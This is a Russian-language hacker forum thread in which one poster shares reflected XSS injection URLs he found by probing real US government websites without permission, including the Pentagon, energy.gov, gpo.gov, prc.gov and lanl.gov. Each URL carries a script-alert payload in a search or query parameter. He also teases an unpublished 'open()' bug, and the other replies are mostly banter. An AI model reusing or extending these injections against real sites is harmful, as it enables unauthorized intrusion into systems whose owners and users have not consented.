XSS на сайте "Пентагона". Анархия в зоне "gov".

[k00p3r]

Начал проверять гос. сайты на баги и так сказать, получился неплохой урожай ;-). Куча xss-багов и попался даже древний баг в open(). (Но о нём говорить не буду, т.к. сайт быстро снесут).
От xss конешн, сам понимаю толку никакого. Но всё равно впечатляет.
Начнём с малого:
http://search.access.gpo.gov/GPO/Search.asp?ct=GPO&q1=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E (search.access.gpo.gov/GPO/Search.asp?ct=GPO&q1=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E )
http://www.prc.gov/interrogatories.asp?irid=38516&irname=%3Cscript%3Ealert(%22x%22)%3C/script%3E
http://www.stdgen.lanl.gov/cgi-bin/path_map.cgi?field=gene_id&term=MG142&mode=exact&dbname=%3Cscript%3Ealert(%22x%22)%3C/script%3E

На сайте http://www.energy.gov (http://www.energy.gov/), поле SEARCH не фильтруется. Вводим туда простейшую конструкцию <script>alert("x")</script>, в результате выскакивает алерт.

И на сайте "немного" покрупнее....На сайте Пентагона.
http://www.pentagon.gov/srch/search?template=%2Fsearch%2Fresults-template-dl.html&c=%3Cscript%3Ealert(%22x%22)%3C/script%3E&c=8268333F54379065&c=6FDF5BD0BF338D19&c=1DA2190B5E9F39D2&q=%3Cscript%3Ealert%28%22x%22%29%3C%2Fscript%3E&submit=Search&subcat=briefing+slides&sort=-pub_date

[kot777]

Это ещё раз доказывает что уязвимости есть везде. Но я не думаю что кто-то из наших станет атаковать правительственные сайты, палевно это как-то

[m0nzt3r]

ого =) давай выкладывай open() в 1 раздел :D

[w4rd3n]

Может попробывать но Xss не добьешся нечего думаю админы на детскую шутку не купяться.

[CinerX]

Огого!!! Ни че себе... На пентагоне... !!!!

[Gang100]

очнулись блин :-/ link (http://www.yandex.ru/yandsearch?rpt=rad&text=XSS+%ED%E0+%F1%E0%E9%F2%E5+%22%CF%E5%ED%F2%E0 %E3%EE%ED%E0%22)

[CinerX]

Блин ... Вы запарили! Не было меня просто долго в сети! А щас наверствываю, то что я пропустил...

[tclover]

01.11.2005, 12:38А на дату публикации слабо посмотреть?

[PinkPanther]

Блин ... Вы запарили! Не было меня просто долго в сети! А щас наверствываю, то что я пропустил...Чем наверстываеш? Флеймом? Нах так гнусно набивать се рейтинг? А насчет небыло в сети, посмотри на дату поста и на дату своей регистрации....

CLOSED